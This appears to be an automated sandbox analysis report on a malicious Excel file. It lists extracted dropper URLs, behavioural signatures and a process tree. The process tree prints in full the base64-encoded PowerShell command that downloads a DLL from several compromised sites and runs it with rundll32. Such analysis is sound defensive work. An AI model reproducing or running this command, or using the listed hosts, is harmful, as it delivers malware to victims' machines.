Analysis

  • max time kernel
    118s
  • max time network
    121s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    31/01/2022, 16:49

General

  • Target
    tmpf2xuur34.xls
  • Size 134KB
  • Sample220131-vbnvaaaeg7
  • SHA256 c17ec35c04e7920d99efb5efbdfaf59c7c944d4063e63a4426eccccbf82f5596
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://tastedonline.com/cgi-bin/14Lg3P2Dt3rqBmaYZO/

  • exe.dropper

    http://store.anicyber.com/wp-content/0JIWtpJt681mQ/

  • exe.dropper

    http://jeffreylubin.igclout.com/wp-admin/gJ5oDbi/

  • exe.dropper

    https://dulichkhampha24.net/wp-content/rPThO/

  • exe.dropper

    http://dev.learncaraudio.com/wp-admin/ZIwWVcNiED4JYqnq/

  • exe.dropper

    http://karensgardentips.com/cgi-bin/w9i3PIVDOJDeF095ST/

  • exe.dropper

    http://stancewheels.com/wp-admin/ur031GNgTubBSslqN/

  • exe.dropper

    http://laohange.com/wp-content/brPqH/

  • exe.dropper

    http://139.99.89.211/wp-admin/VM1HRb3b0MGGdp/

  • exe.dropper

    http://onexone.elementor.cloud/cdrxhrt/632SFiWmT1Y/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\tmpf2xuur34.xls
    1⤵
    • Enumerates system info in registry
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:1588
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3&start /B /WAIT powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwB0AGEAcwB0AGUAZABvAG4AbABpAG4AZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADEANABMAGcAMwBQADIARAB0ADMAcgBxAEIAbQBhAFkAWgBPAC8ALABoAHQAdABwADoALwAvAHMAdABvAHIAZQAuAGEAbgBpAGMAeQBiAGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADAASgBJAFcAdABwAEoAdAA2ADgAMQBtAFEALwAsAGgAdAB0AHAAOgAvAC8AagBlAGYAZgByAGUAeQBsAHUAYgBpAG4ALgBpAGcAYwBsAG8AdQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBnAEoANQBvAEQAYgBpAC8ALABoAHQAdABwAHMAOgAvAC8AZAB1AGwAaQBjAGgAawBoAGEAbQBwAGgAYQAyADQALgBuAGUAdAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwByAFAAVABoAE8ALwAsAGgAdAB0AHAAOgAvAC8AZABlAHYALgBsAGUAYQByAG4AYwBhAHIAYQB1AGQAaQBvAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAEkAdwBXAFYAYwBOAGkARQBEADQASgBZAHEAbgBxAC8ALABoAHQAdABwADoALwAvAGsAYQByAGUAbgBzAGcAYQByAGQAZQBuAHQAaQBwAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB3ADkAaQAzAFAASQBWAEQATwBKAEQAZQBGADAAOQA1AFMAVAAvACwAaAB0AHQAcAA6AC8ALwBzAHQAYQBuAGMAZQB3AGgAZQBlAGwAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQByADAAMwAxAEcATgBnAFQAdQBiAEIAUwBzAGwAcQBOAC8ALABoAHQAdABwADoALwAvAGwAYQBvAGgAYQBuAGcAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGIAcgBQAHEASAAvACwAaAB0AHQAcAA6AC8ALwAxADMAOQAuADkAOQAuADgAOQAuADIAMQAxAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgBNADEASABSAGIAMwBiADAATQBHAEcAZABwAC8ALABoAHQAdABwADoALwAvAG8AbgBlAHgAbwBuAGUALgBlAGwAZQBtAGUAbgB0AG8AcgAuAGMAbABvAHUAZAAvAGMAZAByAHgAaAByAHQALwA2ADMAMgBTAEYAaQBXAG0AVAAxAFkALwAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAcwB0AHIAZQBnAGEAcgBpAHMAdABvAHIAYQBuAHQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBrAFgARgBSAFYAdQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAbABsAGkAbgAuAGEAcABwAC8AdwBwAC0AYQBkAG0AaQBuAC8AMABXADQAQQBjAFcAdgBGAGsASABrAFYALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACAAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAegBoAGQAawBqAGUAdwBcACIAKwAkAGgAYgByAGsAZQAyACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGgAZABHAGUANQA1AHIAdQByADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGgAZABHAGUANQA1AHIAdQByACkAewAgAGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A&c:\programdata\vkwer.bat
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:616
      • C:\Windows\SysWOW64\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:760
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwB0AGEAcwB0AGUAZABvAG4AbABpAG4AZQAuAGMAbwBtAC8AYwBnAGkALQBiAGkAbgAvADEANABMAGcAMwBQADIARAB0ADMAcgBxAEIAbQBhAFkAWgBPAC8ALABoAHQAdABwADoALwAvAHMAdABvAHIAZQAuAGEAbgBpAGMAeQBiAGUAcgAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADAASgBJAFcAdABwAEoAdAA2ADgAMQBtAFEALwAsAGgAdAB0AHAAOgAvAC8AagBlAGYAZgByAGUAeQBsAHUAYgBpAG4ALgBpAGcAYwBsAG8AdQB0AC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBnAEoANQBvAEQAYgBpAC8ALABoAHQAdABwAHMAOgAvAC8AZAB1AGwAaQBjAGgAawBoAGEAbQBwAGgAYQAyADQALgBuAGUAdAAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwByAFAAVABoAE8ALwAsAGgAdAB0AHAAOgAvAC8AZABlAHYALgBsAGUAYQByAG4AYwBhAHIAYQB1AGQAaQBvAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBaAEkAdwBXAFYAYwBOAGkARQBEADQASgBZAHEAbgBxAC8ALABoAHQAdABwADoALwAvAGsAYQByAGUAbgBzAGcAYQByAGQAZQBuAHQAaQBwAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwB3ADkAaQAzAFAASQBWAEQATwBKAEQAZQBGADAAOQA1AFMAVAAvACwAaAB0AHQAcAA6AC8ALwBzAHQAYQBuAGMAZQB3AGgAZQBlAGwAcwAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdQByADAAMwAxAEcATgBnAFQAdQBiAEIAUwBzAGwAcQBOAC8ALABoAHQAdABwADoALwAvAGwAYQBvAGgAYQBuAGcAZQAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAGIAcgBQAHEASAAvACwAaAB0AHQAcAA6AC8ALwAxADMAOQAuADkAOQAuADgAOQAuADIAMQAxAC8AdwBwAC0AYQBkAG0AaQBuAC8AVgBNADEASABSAGIAMwBiADAATQBHAEcAZABwAC8ALABoAHQAdABwADoALwAvAG8AbgBlAHgAbwBuAGUALgBlAGwAZQBtAGUAbgB0AG8AcgAuAGMAbABvAHUAZAAvAGMAZAByAHgAaAByAHQALwA2ADMAMgBTAEYAaQBXAG0AVAAxAFkALwAsAGgAdAB0AHAAcwA6AC8ALwBsAGEAcwB0AHIAZQBnAGEAcgBpAHMAdABvAHIAYQBuAHQAZQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AdgBrAFgARgBSAFYAdQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAbABsAGkAbgAuAGEAcABwAC8AdwBwAC0AYQBkAG0AaQBuAC8AMABXADQAQQBjAFcAdgBGAGsASABrAFYALwAiAC4AUwBwAGwAaQB0ACgAIgAsACIAKQA7ACAAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAegBoAGQAawBqAGUAdwBcACIAKwAkAGgAYgByAGsAZQAyACsAIgAuAGQAbABsACIAOwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABzAHQAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAGgAZABHAGUANQA1AHIAdQByADsAaQBmACgAVABlAHMAdAAtAFAAYQB0AGgAIAAkAGgAZABHAGUANQA1AHIAdQByACkAewAgAGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A
          3⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1084
        • \??\c:\windows\syswow64\rundll32.exe
          c:\windows\syswow64\rundll32.exe c:\programdata\zhdkjew\vbkwk.dll,dhSGert3
          3⤵
            PID:1924

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/1084-66-0x0000000002290000-0x0000000002EDA000-memory.dmp

            memory/1084-68-0x0000000002290000-0x0000000002EDA000-memory.dmp

            memory/1084-67-0x0000000002290000-0x0000000002EDA000-memory.dmp

            memory/1588-61-0x00000000004C0000-0x0000000000581000-memory.dmp

            memory/1588-60-0x00000000004C0000-0x0000000000581000-memory.dmp

            memory/1588-55-0x000000002F8E1000-0x000000002F8E4000-memory.dmp

            memory/1588-62-0x00000000004C0000-0x0000000000581000-memory.dmp

            memory/1588-64-0x00000000004C0000-0x0000000000581000-memory.dmp

            memory/1588-63-0x00000000004C0000-0x0000000000581000-memory.dmp

            memory/1588-59-0x00000000004C0000-0x0000000000581000-memory.dmp

            memory/1588-58-0x0000000075801000-0x0000000075803000-memory.dmp

            memory/1588-57-0x000000005FFF0000-0x0000000060000000-memory.dmp

            memory/1588-56-0x0000000071B71000-0x0000000071B73000-memory.dmp

            memory/1588-71-0x000000005FFF0000-0x0000000060000000-memory.dmp